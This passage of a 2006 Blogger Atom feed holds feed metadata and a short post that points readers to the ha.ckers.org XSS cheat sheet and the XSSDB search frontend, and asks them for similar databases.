href="http://markijbema.blogspot.com/2006/12/xhtml-xss-exploit.html" title="Xhtml XSS exploit" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>4</thr:total></entry><entry gd:etag="W/&quot;A0YBRXozfCp7ImA9WBFVF0U.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-7266071163236639374</id><published>2006-12-04T16:52:00.000+01:00</published><updated>2007-04-17T06:52:34.484+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-04-17T06:52:34.484+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>XSS Cheat Sheet and Database</title><content type="html">I guess most of my readers will be familiar with the &lt;a href="http://ha.ckers.org/xss.html"&gt;XSS cheat sheet&lt;/a&gt;. But I only recently found out that someone also wrote a nice frontend to it to search through it more easily, the &lt;a href="http://www.gnucitizen.org/xssdb/"&gt;XSSDB&lt;/a&gt;. If someone knows more XSS databases like these i'd really like to hear about them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-7266071163236639374?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/7266071163236639374/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=7266071163236639374" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/7266071163236639374?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/7266071163236639374?v=2" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/2006/12/xss-cheat-sheet-and-database.html" title="XSS Cheat Sheet and Database" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry></feed>

